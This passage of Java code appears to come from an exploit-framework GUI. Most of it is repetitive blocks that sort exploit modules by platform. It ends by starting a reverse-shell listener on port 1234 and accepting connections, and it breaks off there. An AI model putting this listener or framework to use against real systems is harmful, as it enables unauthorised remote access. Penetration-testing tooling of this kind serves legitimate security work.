                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 1);
                            DefaultMutableTreeNode item = new DefaultMutableTreeNode(NewXMLNode.ExploitName);
                            root.add(item);
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 1);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("android")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 2);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 2);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("arm")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 3);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 3);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("asp")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 4);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 4);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("atheos")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 5);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 5);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("beos")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 6);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 6);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("bsd")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 7);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 7);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("bsd_ppc")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 8);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 8);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("bsd_x86")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 9);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 9);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("bsdi_x86")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 10);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 10);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("cfm")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 11);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 11);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("cgi")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 12);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 12);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("freebsd")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 13);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 13);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("freebsd_x86")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 14);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 14);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("freebsd_x86-64")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 15);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 15);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("generator")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 16);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 16);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("hardware")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 17);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 17);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("hp-ux")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 18);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 18);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("immunix")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 19);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 19);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("ios")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 20);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 20);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("irix")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 21);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 21);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("java")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 22);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 22);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("jsp")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 23);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 23);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("lin_amd64")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 24);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 24);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("lin_x86")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 25);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 25);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("lin_x86-64")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 26);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 26);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("linux")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 27);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 27);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("linux_mips")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 28);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 28);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("linux_ppc")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 29);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 29);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("linux_sparc")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 30);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 30);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("minix")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 31);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 31);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("mips")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 32);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 32);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("multiple")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 33);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 33);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("netbsd_x86")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 34);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 34);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("netware")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 35);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 35);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("novell")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 36);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 36);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("openbsd")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 37);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 37);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("openbsd_x86")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 38);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 38);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("osx")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 39);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 39);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("osx_ppc")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 40);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 40);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("palm_os")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 41);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 41);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("php")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 42);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 42);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("plan9")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 43);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 43);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("qnx")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 44);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 44);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("sco")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 45);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 45);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("sco_x86")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 46);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 46);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("sh4")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 47);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 47);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("solaris")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 48);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 48);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("solaris_sparc")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 49);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 49);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("solaris_x86")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 50);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 50);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("tru64")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 51);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 51);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("ultrix")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 52);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 52);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("unix")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 53);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 53);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("unixware")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 54);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 54);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("webapps")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 55);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 55);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("win32")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 56);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 56);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("win64")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 57);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 57);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("windows")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 58);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 58);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }
                        if (NewXMLNode.Platform.equals("xml")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 59);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 59);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }

                        if (NewXMLNode.Platform.equals("hardware") || NewXMLNode.ExploitType.equals("hardware")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 60);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 60);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }

                        if (NewXMLNode.Platform.equals("multiple") || NewXMLNode.ExploitType.equals("multiple")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 61);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        } else {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 61);
                            if (root.getChildCount() == 0) {
                                root.add(new DefaultMutableTreeNode("Empty"));
                            }
                        }

                        // Create Custom Exploits
                        if (NewXMLNode.Platform.equals("custom")) {
                            DefaultMutableTreeNode root = (DefaultMutableTreeNode) model.getChild(model.getRoot(), 0);
                            root.add(new DefaultMutableTreeNode(NewXMLNode.ExploitName));
                            model.reload(root);
                        }
                        TotalModulesLength = i;
                    }
                }
            }

            jTreeExploits.expandRow(0);
            jTreeNotepad.expandRow(0);
            jTreeTools.expandRow(0);
            DefaultTreeModel modelModuleStatus = (DefaultTreeModel) jTreeModuleStatus.getModel();
            DefaultMutableTreeNode rootStatus = (DefaultMutableTreeNode) modelModuleStatus.getChild(modelModuleStatus.getRoot(), 0);
            rootStatus.add(new DefaultMutableTreeNode("Total exploits: " + TotalModulesLength));
            jTreeModuleStatus.expandRow(0);
            modelModuleStatus.reload(rootStatus);

            if (TotalModulesLength < 2000) {
                NotEnough.main((null));
            } else if (helper.get(1).equals("open")) {
                DidyouKnow.main(null);
            }

            DefaultTreeModel modelRAT = (DefaultTreeModel) jTreeRAT.getModel();
            DefaultMutableTreeNode rootRAT = (DefaultMutableTreeNode) modelRAT.getChild(modelRAT.getRoot(), 0);
            rootRAT.add(new DefaultMutableTreeNode("127.0.1.1"));
            jTreeRAT.expandRow(0);
            modelRAT.reload(rootRAT);

            DefaultTreeModel modelScanner = (DefaultTreeModel) jTreeRemoteScanner.getModel();
            DefaultMutableTreeNode rootScanner = (DefaultMutableTreeNode) modelScanner.getChild(modelScanner.getRoot(), 0);
            rootScanner.add(new DefaultMutableTreeNode("Source: " + Inet4Address.getLocalHost().getHostAddress()));
            jTreeRemoteScanner.expandRow(0);
            modelScanner.reload(rootScanner);

            jTextAreaQuickInfo.append("[" + LogTime + "] " + "Total modules on this instance: "
                    + TotalModulesLength + "\n");
            jTextAreaQuickInfo.append("[" + LogTime + "] " + "Available in packs: 34.890" + "\n");

            // EPLog
            EPLogger.log("Modules loaded successfully: OK");
            EPLogger.log("Total of modules for this instance: " + TotalModulesLength);
            EPLogger.log("Starting Reverse Shell listener on port 1234");

            // Start new agent server
            System.out.println("Multi-Thread Agent - Started");
            Thread agentServer;
            agentServer = new Thread("agentThread") {
                @Override
                public void run() {
                    try {
                        ssock = new ServerSocket(1234);
                        while (true) {
                            sockRemoteShell = ssock.accept();
                            InetSocketAddress sockaddr = (InetSocketAddress) sockRemoteShell.getRemoteSocketAddress();
